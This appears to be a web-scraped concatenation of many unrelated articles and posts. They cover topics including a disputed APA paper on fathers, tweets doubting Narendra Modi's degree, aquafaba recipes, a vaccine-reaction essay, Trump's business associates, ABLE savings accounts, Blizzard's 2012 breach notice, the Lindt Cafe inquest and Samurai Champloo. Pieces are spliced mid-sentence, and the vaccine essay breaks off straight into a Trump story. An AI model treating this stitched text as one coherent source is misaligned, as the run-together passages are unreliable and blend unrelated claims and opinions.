Neoconservative social scientists have claimed that fathers are essential to positive child development, and that responsible fathering is most likely to occur within the context of heterosexual marriage. This perspective is generating a range of governmental initiatives designed to provide social support preferences to fathers over mothers; and to heterosexual married couples, rather than to alternative family forms. More..
Other articles written about the above APA article.
Jewish World Review, by Dr. Wade F. Horn, Sunday, July 18, 1999, Straight to the points debunking. Clearly illustrates the lack of proper statistical values of this APA article. More..
Lancaster New Era, by Maggie Gallagher, Sunday, July 25, 1999.
This article talks about the goal of the article: "to torpedo the emerging new consensus that intact marriages are important for kids." More..
Jewish World Review, by Binyamin L. Jolkovsky, Tuesday, July 27, 1999.
Louise Silverstein and Carl Auerbach comments about how they are upset that others have so negatively reviewed their article which is blatantly biased. More..
Calgary Herald, Calgary, AB, Canada, by Charles W. Moore, Thursday, July 29, 1999
"I am beginning to wonder if being a card-carrying lunatic facilitates getting published in journals of the American Psychological Association (APA)."More..
Jewish World Review, by Cathy Young, Friday, July 30, 1999.
Another look at the article, which figures that its political agenda is more anti-marriage than necessarily anti-father. More..A degree is certainly not the biggest criteria to be the Prime Minister of India. It’s not important as well, but honesty and integrity of the PM are.
After Delhi Law Minister Jitender Singh Tomar of AAP, was arrested for allegedly faking degrees, Narendra Modi’s official website underwent a dramatic change.
May 2015 – Before Tomar’s arrest – The site displayed that Modi pursued his M.A in Political Science from Gujarat University.
June 2015 – After Tomar’s arrest – It vanished from his website. 😀
Few days back, a Gujarat based social activist filed an RTI asking for the details of PM Modi’s educational qualification. But sadly, the Gujarat-based activist’s request was declined both by the PMO and the Election Commission.
We looked through the web archives of the PM’s official website and came across this. So, if you want to see this you can just follow this link.
Here’s the archive screenshot from March 2015:
The Twitterati of this nation wants to know why Narendra Modi is not replying to the RTI and hiding his educational qualifications at the same time. Here are some of the tweets:
1. University topper hain humare Modiji?
We hv no issue in having a uneducated PM if he is capable. Issue is whn he fakes it & say he is Univ topper & a PG. #DegreeDikhaoPMSaab — Kapil (@kapsology) August 8, 2015
2. We are not asking for much. Just a selfie.
3. Fake or ‘Feku’? 😛
Not having a degree doesn’t make anyone a criminal but faking does. That’s why #DegreeDikhaoPMSaab — Dr Rakesh Parikh (@drrakeshparikh) August 8, 2015
4. Hide everything. Not your degree.
Hide your Wife’s Hide your Voice Hide your 56″ Hide your Degrees Now go and hide your Face Modiji. #DegreeDikhaoPMSaab — Sanki Nana (@SankiNana) August 8, 2015
5. It is indeed very depressing
Degrees are not important for any PM. But Honesty, Integrity, patience, and other things are important. #DegreeDikhaoPMSaab — Soniya Singhal (@soniyasinghal11) August 8, 2015
6. Technology, yeah.
Bhakths are on the way with Photoshopped IIT degree of our beloved PM. #DegreeDikhaoPMSaab — Indian Satires (@IndianSatires) August 8, 2015
7. The nation wants to know
Why cant PM show his education qualifications? What is their to hide? Marks? #DegreeDikhaoPMSaab — Navendu (@NavenduSingh_) August 8, 2015
8. LOL
Degree not in MA Politics but Degree in MAA politics (from using mothers pic to Ganga Maa to Obamaa ) #DegreeDikhaoPMSaab — Sir Chetan Bhagat (@chetan_bhaqat) August 8, 2015
9. Ban degree.
PMO: 2 RTI by Jashodaben:Declined RTI for Foreign Trip Expenses:Declined RTI for Qualification of PM:Declined. #DegreeDikhaoPMSaab — Rajdeep Sardesai (@surdesairajdeep) August 8, 2015
So folks, what do you think? What’s the mystery behind this?
News Source
Cover Image Source 1 & 2That smiling white-haired guy with the wine glass is Bob, a Navy doctor who put his watch for sale on eBay for $9.95. He got it cheap at a Navy Exchange fifty-two years ago. The final auction price: $66,100.
The reason isn't that Bob and his watch got to party with Superman (yes, that's Christoper Reeve). It's a lot better than that.
Advertisement
Soon after posting it in eBay, the price skyrocketed to $30,000. After talking with his son, they found out that the watch was a collector's item coveted by watch nutters all over the world: The Rolex Submariner Ref 5510, nicknamed the Bond Rolex because Sean Connery wore the same model in Dr. No, Goldfinger and Thunderball. Bob's Submariner is not the actual watch used by Bond, however. He bought it on a Navy Exchange on a lost rock called Kwajalien Atoll.
He's probably very happy with the sale, but I'm sure the buyer is much happier: The same watch with a different wristband was sold for $100,000 at an auction in 2008. [Hodinkee via Crunchgear]Vegan Italian Meringue Buttercream. (Scott Suchman/For The Washington Post)
Imagine being a vegan in France and craving île flottante, or floating island, a dessert of fluffy puffs of meringue nestled in a sea of crème anglaise. Joël Roessel, a 34-year-old opera tenor, was riding on a bus near Paris and wondering how he could replace the main ingredient, so he asked himself, “What would disgust me as much as a raw egg white?”
[Make the recipe: Vegan Italian Meringue Buttercream]
His answer: bean liquid. When he got home, Roessel found a can of red beans in the cupboard, drained out the liquid and whipped it. The result was nothing short of astonishing: a mound of fluffy, pure white — but completely eggless — meringue.
This minor French revolution hit the world when Roessel published it on his blog, Révolution Végétale, in December 2014, and the concept quickly began to catch on with others, including Goose Wohlt. The American software engineer is credited with coining the word “aquafaba” — “aqua” for water and “faba” for beans — to describe the ingredient that most people simply pour down the sink. Wohlt posted his vegan baked meringue recipe — made from the liquid from a can of chickpeas, plus sugar — to a popular Facebook group called “What Fat Vegans Eat” in March. The post received nearly 500 comments in a matter of hours, quickly spawning a whole new Facebook group: “Vegan Meringue — Hits and Misses!”
Rebecca August, an animal-care provider in Michigan, is the original force behind the new group, serving as its head administrator since creating it just over six months ago, after she saw Wohlt’s original recipe. “I ran to my kitchen to whip up a batch of cannellini bean fluff, the closest thing to chickpeas I had on hand,” she recalls. “When I saw the amazing response to this discovery, I messaged Goose and told him that Vegan Meringue deserved its own Facebook page, and the phenomenon began.”
Vegan Butter. (Scott Suchman/For The Washington Post)
[Make the recipe: Vegan Aquafaba Butter]
At more than 27,000 members worldwide and growing daily, the page is indeed a phenomenon, and aquafaba continues to garner attention, even making an appearance on the spring menu of chef Dan Barber’s food-waste-focused pop-up restaurant in Manhattan, WastED. The Facebook group experiments are wide and varied, from macarons and dacquoise to butter and mozzarella, with enthusiastic forays into challah, nougat and Yorkshire pudding. The cooks are just as varied and include vegans, omnivores, those with egg or gluten allergies and some who are simply “epicurious.”
“Goose conceived of the group as an open-source development group,” says August, “a sharing community where everyone benefits from and builds on the genius of others, and, I have to say, our group is just the best in that regard.”
The development concept is clearly embraced by the community, as members are not shy about sharing their aquafaba misses as eagerly as they do their hits, seeking to learn why a batch of aquafaba banana pancakes turned out mushy or how to rescue a drippy lemon meringue pie. As the experiments continue, novices are advised to use three tablespoons of aquafaba to equal one egg. The bean juice seems to work equally well whether it comes from a can or from a fresh batch of homemade cooked beans, and it can be frozen for later use. Although most any beans will do, including black, kidney and soy, chickpeas (a.k.a. garbanzo beans) tend to be the preferred variety for their milder, less “beany” flavor. Besides, you can whip up a batch of hummus to go with that aquafaba chocolate mousse at the same time.
[What most people get wrong about making hummus]
But why does it work? Harold McGee, the food scientist who wrote the best-selling kitchen reference book “On Food and Cooking,” is guessing it has something to do with the combination of proteins, carbohydrates and saponins. “Saponins are soaplike materials that can collect in bubble walls at the interface between liquid and air and stabilize the bubbles,” McGee says in an e-mail. “Some proteins can do the same, and both proteins and carbohydrates help thicken the liquid, which makes it slower to drain out of the foam structure.”
August notes that aquafaba appears to embody many qualities found in eggs and even other dairy products. That has encouraged increasing innovation among those who have become inspired by the movement, and they have whipped aquafaba into Italian meringue buttercream, used it as a binder in baked goods and even blended it with oil to become a butter substitute.
Meanwhile, just outside Paris, Roussel continues to experiment with aquafaba, even using them (along with some added starch and guar gum) to make those elusive floating islands that started his quest in the first place. “What was really important to me,” he says, “before sharing my discovery, was to understand as far as I could how to help people in successfully replacing the foam.” Now he’s an active member of the Facebook vegan meringue community himself, benefiting as much as anyone else: “I’ve continued to experiment, and the misses of others gave me a progressive knowledge of what to do and not to do. Nothing’s impossible!”
Hartke is a food writer and editor in Washington.A nurse prepares to vaccinate a baby. (Hector Retamal/AFP via Getty Images)
Jenn Kauffman is senior vice president of digital advertising at Revolution Messaging
Last year, I became a mom. During my pregnancy, I read all the books and all the articles, and my husband and I mentally crafted a framework to use to raise our baby. I would breast-feed. We would use cloth diapers. We would eschew television and electronic devices for her first two years. And we would vaccinate on time, following the Centers for Disease Control and Prevention’s recommended immunization schedule.
Of course, I know now that nothing ever goes to plan when it comes to parenting. We tried cloth diapering; that lasted a week. My daughter was never able to breast-feed successfully, so I ended up pumping exclusively and feeding her from bottles. We let her watch TV when she’s feverish and cranky.
But we kept our promise about vaccinations. My husband and I know that vaccines are an easy and essential part of preventive health care that will help keep our baby from contracting serious and even potentially deadly childhood diseases. And even though a severe medical reaction would test our resolve, we continue to ensure our daughter never misses a vaccine.
The day of our daughter’s 6-month-old vaccinations was uneventful. She got her shots in the afternoon, ate a good dinner, had a bottle and went to bed at 6:30 p.m. An hour later, she suddenly cried out with a startling moan we had never heard before.
My husband and I leapt up and bolted for the stairs. He reached into her crib and pulled her out. Her eyes were open, but blank. The color had drained from her face.
As he placed her in my arms, I saw her face was vacant. I knew instantly something was very, very wrong. I screamed for my husband to call 911. He ran out of the nursery as I tried to talk to her, begging her to stay with us. But almost as soon as he left, her breathing stopped. Her eyes rolled back, and her body went limp.
I felt helpless, certain that our baby — my life, my heart — was going to die in my arms.
I put my lips over her tiny mouth and puffed air into her lungs. Suddenly, she came back — her little body fighting back against my breaths into her mouth — only for unconsciousness to wash over her again. Again this happened.
Just as the paramedics arrived, she was back, this time back for good. But she was still in a daze. She was admitted at Children’s National Medical Center in Washington, where she returned to normal after a few hours, but her doctors began to run a battery of tests to try to determine what had caused her to stop breathing.
[The polio vaccine killed my father. But that’s not a reason to oppose vaccines.]
Our daughter’s pediatrician called us at the hospital within a few hours and recognized the symptoms. Our baby had experienced an incredibly rare side effect from one of her vaccines, called a hypotonic-hyporesponsive episode. This syndrome is so uncommon that there aren’t even agreed-upon statistics about how rare it is. The most comprehensive study on this syndrome was published back in 2000 in the journal Pediatrics; it found that just 38 reported U.S. cases occurred in 1998.
I was exhausted, emotionally drained — and I was angry. Here we were, parents who did everything right for our baby, and the very thing that was supposed to protect her ended up hurting her. Every instinct in me wanted to protect this fragile, tiny person who in just a few short months had become my whole world. Were my husband and I crazy to keep vaccinating her? Are vaccines more dangerous than the dangers they kept away?
While our baby was tethered overnight to monitors and wires to track her brain’s electrical activity, I |
in the White House.
Six years ago, Trump was the host of NBC’s “Celebrity Apprentice” and a Tea Party favorite for promoting conspiracy theories about Obama’s birthplace, and he entertained a challenge to the Democratic president’s re-election.
But, according to a Daily Beast report from that time, Trump aborted that nascent campaign after a series of damaging news reports revealed his business ties to unsavory characters like Felix Sater — which now threaten to derail the Trump presidency.
“Trump quit at least in part because he finally realized what a harsh light this ego explosion was shining on every corner of his business empire, potentially exposing not only him and his many partners, but also his children Donald Jr. and Ivanka to intense scrutiny,” wrote Wayne Barrett, who has extensively covered Trump for decades. “An ongoing media investigation of Trump’s financial deals — beset by charges of fraudulent misrepresentation — would also have made it harder for NBC to continue touting him as a model American businessman.”
Barrett, who died from pneumonia one day before Trump’s inauguration, spent years investigating Trump’s ties to organized crime and other questionable associates who have resurfaced during the Russia investigation.
In particular, Barrett focused on the now-dormant Bayrock Group development firm operated out of Trump Tower by Sater — a mob informant and felon who has boasted of his ties to the Kremlin and Russian intelligence.
News reports about Sater and Bayrock that kept Trump out of the 2012 race previewed some of the bombshell reporting from this year that revealed the president’s ties to Russian money laundering, which has now fallen under investigation by special counsel Robert Mueller.
Trump has warned Mueller and his team not to investigate his family’s business dealings before the 2016 campaign, saying that would overstep his authority.
“I think that’s a violation,” Trump said last month. “Look, this is about Russia.”
But reporters were onto the Trump’s questionable dealings six years ago, and that helped keep the reality TV star from challenging Obama.
Barrett details at length the Trump family’s ties to Tevfik Arif, a Kazakhstanian mogul charged but later acquitted in Turkey on human trafficking charges, and two convicted cocaine traffickers, Engin Yesil and Raoul Goldberg.
“These kinds of associations once caused Trump worry about retaining his gaming licenses,” wrote Barrett in 2011. “Perhaps he finally realized that in a presidential campaign, which requires filing detailed financial disclosures, the vetting of all sorts would be much tougher. Then a gang of questionable associations like this would’ve converted a candidacy into a scandal, damaging his star status, business prospects, and even his family.”
Trump somehow dodged those questions during the campaign by failing to release his tax returns and other financial disclosure documents — but those long-unanswered questions are now threatening to destroy his presidency and threaten his family with legal jeopardy.Can you guess the secret ingredient that I used to make this custom 3D notebook for my son?
This year for Christmas, I made custom journals for my kids. They were definitely a hit! The “secret ingredient” for this project was a plastic shield from the toy section that had a crest on it. Disassembled, the crest from the shield makes a great 3D embellishment for the cover. After a little bit of a paint treatment, the cheap look of the plastic is transformed into an heirloom-quality gift!
Project estimate:
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Binder, sketch book, journal, etc., $1 and up
Toy shield with 3D decoration, $1 and up
Hot glue, on hand
Tissue paper, on hand or $1
White glue, on hand
Paint, on hand
Plastic shopping bag, on hand
Total: $2 and up
Remove the 3D decoration from the shield with a pair of pliers. Hot glue it to the front cover of the book. Use a book with a stiff, heavy cover for the best results.
Wad the tissue into tight balls and straighten them out. Tear them into 3″x3″ pieces. Slip the book, except for the top cover, into the shopping bag to prevent it from getting damaged.
Add 1 part water to 5 parts white glue and mix it together. Sparingly dab the glue mixture onto the 3D decoration in a small area and put on a piece of tissue paper.
Continue doing this until the entire decoration is covered.
Using the same technique, cover the rest of the book top. By the time you have finished doing that, the decoration should be dry enough to add another coat of tissue to. IMPORTANT: Any thing plastic must be covered with the glue and tissue. Sanding isn’t necessary.
When the area is completely dry, it will be shiny. Now you can paint it, I used an acrylic paint I purchased from the dollar store. Use the main colour and let completely dry.
Mix a small amount of white to your main colour. Put a very small amount on a sponge brush (I used the same brush for the entire project) and dab off the excess on a piece of newspaper. Lightly brush up and down to highlight the 3D decoration. If you get too much in a spot, paint it black and start again.So it looks like this post doesn’t work in mobile. Here’s the text of it for those who are having trouble:
NEW YORK — Justin Bainbridge is 27 and works two jobs, but he wasn’t allowed to start saving money for his future until a few months ago.
Bainbridge has Down syndrome, and like other people with disabilities who receive government benefits, he can’t have more than $2,000 in savings. If he does, he would start to lose those much-needed benefits. But a new type of savings vehicle is giving Bainbridge, and others, a chance to save more cash.
Known as ABLE accounts, they let people with disabilities and their families save up to $14,000 a year without losing benefits. The accounts, which were made possible by a law signed two years ago, are operated by individual states and are similar to 529 college savings plans. So far, 16 states offer the plans and about 10 more are expected to do so this year. Most of the states let non-residents sign up. Each state has different rules or maintenance fees, with some charging as much as $15 every three months.
Disability advocates say the accounts are badly needed, since people with disabilities were forced to spend extra money to avoid losing benefits. With ABLE accounts, money saved can be used to buy anything that helps the life of the person with a disability, such as rent payments, school tuition or groceries.
“I’m saving for a new couch,” says Bainbridge, who shares a two-bedroom apartment in Omaha, Nebraska, with a friend.
Since June, he has put away more than $1,800 in an Enable account, the ABLE program run by Nebraska. He makes about $5,200 a year from his part-time jobs, one folding towels at a gym and another collecting movie tickets at a theater. But he still needs his monthly Supplemental Security Income cash benefit to help pay his rent and live independently, says his mother, Kim Bainbridge, who also stashes away money for him in the ABLE account.
“I can finally save for him after 27 years,” she says.For years, disability advocates have tried unsuccessfully to increase the $2,000 savings limit, which hasn’t been changed in nearly three decades.“It kind of shackles you to a life of poverty,” says Christopher Rodriguez, a senior public policy adviser at the National Disability Institute in Washington.The idea for ABLE accounts came about a decade ago from parents of kids with disabilities who were frustrated that they could not easily save money for their children. One of those parents, Stephen Beck Jr., spent years advocating and lobbying for a law. Beck unexpectedly passed away in 2014, just a few weeks before President Barack Obama signed it into law. To honor Beck, the law was named The Stephen Beck Jr. Achieving a Better Life Experience Act.His widow, Catherine Beck, is using an ABLE account to put away money for their 17-year-old daughter Natalie, who has Down syndrome and wants to go to cosmetology school to work at a nail salon. The Becks were able to easily save money for their eldest daughter, who does not have a disability. But for Natalie, they had to create a special-needs trust that required hiring a pricey lawyer to set up.“Her savings has not grown like her sister’s has,” says Catherine Beck, who lives in Burke, Virginia.To qualify for an ABLE account, the account owner must have had a disability before their 26th birthday. Anyone can put money in it, such as family or friends. If the account goes above $100,000, the person with the disability will lose monthly government cash benefits until it drops below that level again. Medicaid health benefits are never affected, no matter how much money is saved. Money can be invested in index funds and earnings are not taxed.“For the first time a lot of individuals will be able to work, save money and get some growth out of it,” says Adam Beck, director of MassMutual Center For Special Needs at The American College in Bryn Mawr, Pa.
When the person with a disability dies, Medicaid can claim any leftover money as payback for health care paid after the ABLE account was opened. Since each state has different rules and fees, the ABLE National Resource website has a tool that compares the programs.Matthew Shapiro, who lives in Richmond, Va., and works to promote the state’s ABLE program called ABLEnow, says finally being able to have some savings helped reduce his money worries. The 26-year-old, who has cerebral palsy, uses a power wheelchair to get around and unexpected repairs can be costly. He travels sometimes for his business, 6 Wheels Consulting, which helps educate companies and organizations on disability issues.“Being a person with a disability is expensive,” says Shapiro. “These accounts are so much needed.”Had an issue
Got the product in a nice official microsoft Xbox one elite controller box with all components I would expect to get in the original packaging. the only issue I had after spending so much money was the fact that when pressing the down direction on the D-pad, it wouldn't click as it should in all directions when pressing the D-pad. the down arrow still worked when pressed harder than it should need to be pressed. The end result was me having to buy a tool kit to pull apart the controller and thankfully solve the problem which was a piece of metal (a part of the controller) bent under the down directional button of the D-pad. just a warning, not everyone will be able to assist themself if a problem arises
Verified purchase: NoThe company behind World of Warcraft, StarCraft and Diablo said that hackers breached their network. The breach was detected this week and while Blizzard chief Mike Morhaime says there are no signs that financial data was stolen, he is recommending that people change their passwords.
Full statement from Blizzard's wesbite (key lines bolded by Kotaku):
Players and Friends,
Even when you are in the business of fun, not every week ends up being fun. This week, our security team found an unauthorized and illegal access into our internal network here at Blizzard. We quickly took steps to close off this access and began working with law enforcement and security experts to investigate what happened.
At this time, we've found no evidence that financial information such as credit cards, billing addresses, or real names were compromised. Our investigation is ongoing, but so far nothing suggests that these pieces of information have been accessed.
Some data was illegally accessed, including a list of email addresses for global Battle.net users, outside of China. For players on North American servers (which generally includes players from North America, Latin America, Australia, New Zealand, and Southeast Asia) the answer to the personal security question, and information relating to Mobile and Dial-In Authenticators were also accessed. Based on what we currently know, this information alone is NOT enough for anyone to gain access to Battle.net accounts.
We also know that cryptographically scrambled versions of Battle.net passwords (not actual passwords) for players on North American servers were taken. We use Secure Remote Password protocol (SRP) to protect these passwords, which is designed to make it extremely difficult to extract the actual password, and also means that each password would have to be deciphered individually. As a precaution, however, we recommend that players on North American servers change their password. Please click this link to change your password. Moreover, if you have used the same or similar passwords for other purposes, you may want to consider changing those passwords as well.
In the coming days, we'll be prompting players on North American servers to change their secret questions and answers through an automated process. Additionally, we'll prompt mobile authenticator users to update their authenticator software. As a reminder, phishing emails will ask you for password or login information. Blizzard Entertainment emails will never ask for your password. We deeply regret the inconvenience to all of you and understand you may have questions. Please find additional information here.
We take the security of your personal information very seriously, and we are truly sorry that this has happened.
Sincerely,
Mike MorhaimeSydney siege inquest: Officer in charge accepts blame for Lindt Cafe deaths of Johnson, Dawson, Monis
Updated
A senior police officer who was in charge during the final hours of the Lindt Cafe siege says he accepts blame for the deaths of hostages Tori Johnson and Katrina Dawson, as well as gunman Man Haron Monis.
Key points: Commander admits his decision cost three lives
Police were not sent into the cafe before a hostage was killed over bomb fears
Commander says he would still make the same decision in a similar situation
The Police Forward Commander, whose name has been suppressed, made the stunning admission during his third day in the witness stand at the Sydney siege inquest.
"Three people lost their lives because of me, my decision, I can't change that," he told the inquest.
"Every day I think about that... I rack through my head, what could I have done differently. But I could never mitigate the risk of the bomb."
The inquest had previously heard police believed Monis had a bomb in his backpack and a detonator in his hand, and they held that belief right up until a bomb squad entered the cafe after the siege.
The commander admitted he did not send police into the cafe before a hostage was killed because the presence of the bomb made it too dangerous.
It was only when Monis shot cafe manager Mr Johnson at point blank range at 2:13am that the commander said he had no choice but to order his officers to force entry.
"It does weigh heavily on me," he told the inquest. "It was a decision I didn't take lightly.
"I couldn't think what was going through their minds as they moved through to door.
"They have family and children too, they were going in to face a man with a bomb."
Officers couldn't enter cafe 'until somebody was killed'
State coroner Michael Barnes asked the commander whether he had to balance the safety of the hostages against the risks to tactical police.
The coroner asked: "So on that basis you felt you couldn't order them in until somebody was killed?"
The commander replied: "I accept that your honour".
But the commander added that if he was presented with the same information in a similar situation today, he would make the same decisions he made during the December 2014 siege.
"It's the first time anyone in Australia has had to run an operation like that. What I knew then, I would do what I did then, today."
The commander was the officer who made the call for tactical police to storm the cafe, just moments after a police sniper called "hostage down, hostage down" when Mr Johnson was killed.
The inquest continues.
Topics: police-sieges, crime, law-crime-and-justice, sydney-2000
First postedHumans and gorillas share approximately 98 percent of their DNA, and now a new study confirms that they also share something else: an ability to contract the same diseases. An international team has found that a human respiratory disease can pass to wild mountain gorillas, and it has resulted in two gorilla deaths.
Wild mountain gorillas are endangered
The close genetic relationship between humans and gorillas is of interest for many reasons, one being the latter’s rapid disappearance, especially the endangered wild mountain gorilla. Fewer than 800 of these gorillas remain in the wild, living in the Virunga mountain region of Central Africa and in Uganda’s Bwindi Impenetrable National Park.
In this new study, which was conducted by researchers from Mountain Gorilla Veterinary Project; the Wildlife Health Center at the University of California, Davis; the Center for Infection and Immunity at Columbia University; and the Rwanda Development Board, it has been confirmed that a virus causing respiratory disease in humans has been transmitted to and caused the deaths of two gorillas. The fear that the 2 percent genetic difference between humans and gorillas could make the latter susceptible to human diseases seems to now be a reality.
The gorilla population has had close contact with humans for a few reasons. One is the conservation efforts being made by individuals like Dian Fossey and organizations like the Mountain Gorilla Veterinary Project. According to Mike Cranfield, executive director of the Mountain Gorilla Veterinary Project, “mountain gorillas are surrounded by people, and this discovery makes it clear that living in protected national parks is not a barrier to human diseases.”
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Gorillas are exposed to humans because the national parks are bordered by dense human populations, and also because of gorilla tourism, which brings in thousands of people every year to view the animals.
Like humans who contract viral respiratory disease, the wild mountain gorillas, when ill, experience coughing, nose and eye discharge, and fatigue. In an outbreak of respiratory disease among the gorillas in 2009, a dozen animals became sick, and two died.
When tissue samples from the dead gorillas were examined, they were found to have the biochemical signature of an RNA virus called human metapneumovirus. Veterinarians at the Mountain Gorilla Veterinary Project have noted an increase in the frequency and severity of respiratory disease cases among the mountain gorillas in recent years.
Other primates have also been studied to determine their genetic similarities to humans. A study reported in Nature in January 2011 noted that chimpanzees and humans share 99 percent of DNA, while orangutans and humans come in at 97 percent.
The authors of the study note that “although human proximity to mountain gorillas is essential for their conservation, also crucial is minimizing the risk for human-to-great ape transmission of respiratory pathogens.” Monitoring is critical to ensure the survival of these endangered animals.
SOURCES:
Locke DP et al. Nature 2011; 469 (7331): 529 doi: 10.1038/nature09687
Palacios G et al. Emerging Infectious Diseases 2011 Apr; 17(4); doi: 10.3201/eid1704.100883The majority of the time, I can keep my feelings at bay when I think about the Church, but every once in a while, like today, I sometimes feel unsettling feelings. I am not upset I was raised Mormon. I had a wonderful childhood.
One thing that really gets to me sometimes is the fact that every single person at my home ward thinks I am lost. They think I’ve “gone astray”. They are sad for me. They send me letters. I wish so bad I could make them understand how lost THEY are. They have NO CLUE about certain things.
I wish my brother and mother wouldn’t have heart ache for me. I wish I could tell them and help them see, but they are so brainwashed. To them, I am just “going through something” and I’ll be back. They think my salvation is at risk.
It kills me to know that most Mormons that I know and love don’t know about some of the lies they’ve been told. I mean I had NO IDEA how the “translation” of the book of Mormon really went down until after I actually researched it. I had never heard the actual truth about it. It was shocking, and obviously a huge hoax.
They have no idea that Brigham Young (the 2nd prophet of the Church) said you cannot achieve salvation unless you participate in polygamy. “Now if any of you will deny the plurality of wives, and continue to do so, I promise that you will be damned; and I will go still further and say, take this revelation, or any other revelation that the Lord has given, and deny it in your feelings, and I promise that you will be damned. ” -Brigham Young; Journal of Discourses 3:39
These are things that didn’t take me long to find on my own, but they will never see anything like this because they are terrified to look at anything not issued by the Church about the Church because they were told not to.
The Church is not a bad Church. They are just very very brainwashed and very very confused. They follow the teachings of Joseph Smith and Brigham Young who were not good people at all. They have no idea of some of the horrible things that were done. Mormons are wonderful people, but the Church they belong to is not the true Church of God like they believe. It was started based on manipulation, fear, desire for power, desire for women, and desire for status. If they could just spend ONE hour researching ACTUAL history not produced by the Church, it would be so clear to them.
My heart aches for them. I wish so bad they could open their minds up enough to listen to what I have to say. I could show them they are wasting their time thinking that the Mormon Church is the ONLY way to achieve salvation. Life has so many options. There are so many paths and so many journeys for everyone. Being forced to think there is only one way is such a limitation in life. I hope one day they will branch out just enough to see how much beauty there is in experience.
AdvertisementsThe woman woke up in the morgue after being declared dead. Image Credit: sxc.hu
91-year-old Janina Kolkiewicz had been declared dead 11 hours before waking up inside a body bag.
The incident, which has been described by some as a'miracle', occurred after workers at a funeral home in Poland went to investigate sounds of movement inside the morgue.Despite being declared clinically dead several hours beforehand Mrs Kolkiewicz had apparently regained consciousness and now appeared to be in perfect health.The doctor who issued the death certificate couldn't believe it."If I had had any doubts about her being dead I would have called an ambulance and would have tried to resuscitate her," he said. "But she had no vital signs: no pulse, nothing."The woman's neice, Bogumila Kolkiewicz, described how she had been in shock since receiving a phone call at midnight to tell her that her aunt was very much alive."She doesn't know what happened to her, but she's in good health," she said.the most subversive animes ever made. Taking a staple genre, dressing it up in anachronism, but continually tackling subjects often avoided by the medium.It takes 25 episodes until a character literally says “I was born in the wrong era.” Champloo is basically saying Japan’s lofty samurai era was actually a shit place to live for common people like us actually thank you very much.It’s a divisive show that tested the patience of many viewers, drove others away entirely after a few episodes, and frustrated people who were too used to watching a plot move characters forward for 26 episodes. Champloo doesn’t even have characters who move the plot forward. The hook of how the three disparate characters end up travelling together through Edo period Japan is just that, it’s a hook to draw you in.Samurai Champloo is about, and also not about, three characters hunting a samurai who smells of sunflowers. There’s an episode late into the series which features two street gangs having a graffiti battle across town, and though somewhat amusing also served no benefit towards the journey of the three characters. So if you hop into any forum thread you’ll see a multitude of complaints about it. However, the point of the episode is the same as the theme running throughout the entire show: people from a bygone era rebelling against authority and social norms in a way 21st century people do: through counter-culture.I’ve gained a new appreciation for this show. It’s been so so long since I saw it, but rewatching it I realise how the story is about how incompatible Tokugawa era Japan is with our way of life; all the things we take for granted were rare luxuries back then. This is an obvious fact for anyone with a remote understanding of Japanese history, but still, the show rams it home with stark contrasts. Each episode highlights a 21st century aspect of our lives, a form of freedom (creative, sexual, geographical, etc) that characters in the 19th century yearned for despite the odds.It’s set in an era ruled by rigid order, social rules and hierarchies. Stifling to the point of causing grief among the downtrodden populace. Yet a populace we should not treat as foreign aliens. The show asks us to empathise with them; they were just like us. Some of them had our modern spirit and ultimately struggled to exist in such a society as a result. Our heroes are a ronin, vagabond, and an orphan. Fighting against their era’s rules with a modern spirit.One of the things I love about this show is how the three characters hate each other for the majority of the 26 episodes, but their hatred gives away inch by inch. They initially try to break apart, to run away from each other, but situations conspire to brig them back together, until a turning point where they actively make a choice to stick together, grudgingly recognising that they are of the same fiery rebellious soul. This is infinitely more satisfying than characters who automatically stick together from the outset. Another theme of Champloo is that travelling a journey with strangers can bring you together like family.Champloo is more known for its scenes that are juxtaposed with modern quirks such as people beatboxing to humorous and surreal effect, and scene transitions that look like a DJ playing with their deck.Episode topics try to cover every area that is barely explored by other samurai-era anime that are more concerned with traditional ‘fight evil’ plots (or even movies for that matter) from the prevalence of the yakuza co-existing with samurai, the tragedy of women forced into prostitution to pay off their husbands’ debts, human trafficking in the art world, existence of homosexuality, persecution of Christians and Ainu, and graffiti gangs with too much time on their hands. There’s even a hilarious baseball game with members of an American expedition that predates Commodore Perry’s by a few years.Champloo features one of the best soundtracks ever, brought to you by Nujabes, whose life was tragically cut short in 2010. Instrumental hip hop might bring to your mind a certain perception of what to expect, but the soundtrack is a mixture of traditional beats with Japanese influence, floating ephemeral sounds constantly conjure a feeling of melancholy, or ‘mono no aware’, the fleeting transience of things.The appeal of the show is ‘style over substance’, however that is a great discredit to what Champloo accomplishes. All the modern quirks in historical context are not just there to make the show stand out visually. The show is about entertaining this idea, this hope, that even back in Edo era Japan there were open-minded people fighting for creativity, individuality and basic human rights. Sure, most of them didn’t last long, but they didn’t die without a fight. Banzai!The right-wing nationalist party, while the largest in Swiss parliament, was opposed by all other major parties, the federal government and the business community.
But Christoph Blocher, the billionaire industrialist, former cabinet minister and vice-president of the party, said he and his party are vindicated by the result.
Voters narrowly supported the SVP initiative “against massive immigration”.
“The Swiss people have said Switzerland is ours,” the nationalist politician told state broadcaster SRF.
The result comes 12 years after he led an initiative, also accepted by Swiss voters, to keep Switzerland out of the European Economic Area — and the European Union.
In an interview with 20 Minuten, Blocher recalled a former Swiss government cabinet minister warning that if the country didn’t join the EEA “Switzerland would go kaput — it could not survive”.
What happened is just the opposite (with the Swiss economy showing stronger economic growth than the EU), although at the time Blocher and his supporters did not know that “EU politicians would cause such a mess”, he said.
“The EU advocates said at the time there would be no more bilateral agreements in the future,” Blocher said.
“Again, this was blatant misinformation.”
The SVP managed to attract the support of citizens in the country who fear that too much immigration — 1.9 million people are foreigners out of a total population of 8.1 million — was feeding a range of ills from housing shortages to transportation gridlock.
But opponents of the initiative remained vocal after the referendum result emerged.
Demonstrators, including foreigners, took to the streets in Bern, Zurich, Basel and Lucerne to protest the vote on Sunday night.
“Their Switzerland, our nightmare,” said one of the hand-written banners carried by militants in the Swiss capital in a rally that evolved spontaneously from an appeal on Facebook, the ATS news agency reported.
Protestors carried banners urging against fascism and racism in the peaceful rally, ATS said.
An estimated crowd of 700 people protested in Zurich, while several hundred blocked traffic and let off fire crackers in Basel’s city centre.On WWE Main Event, The Miz read a letter to the WWE Universe - a display reminiscent of fellow Ohio native Lebron James days before. WWE.com had obtained the full letter from the "Moneymaker."
"I’m Leaving Home" by The Miz:
Before anyone ever cared about where I would compete – the main event of WrestleMania, for example – or what movies I would star in – like The “Marine 3: Homefront” – I was just a kid from Northeast Ohio. It’s where I first started cutting promos in my mirror at home. It’s where I flipped burgers at my Dad’s “Mr. Hero.” It’s where I walked. It’s where I ran. It’s where I cried. It’s where I bled. It holds a special place in my heart. People have seen me grow up.
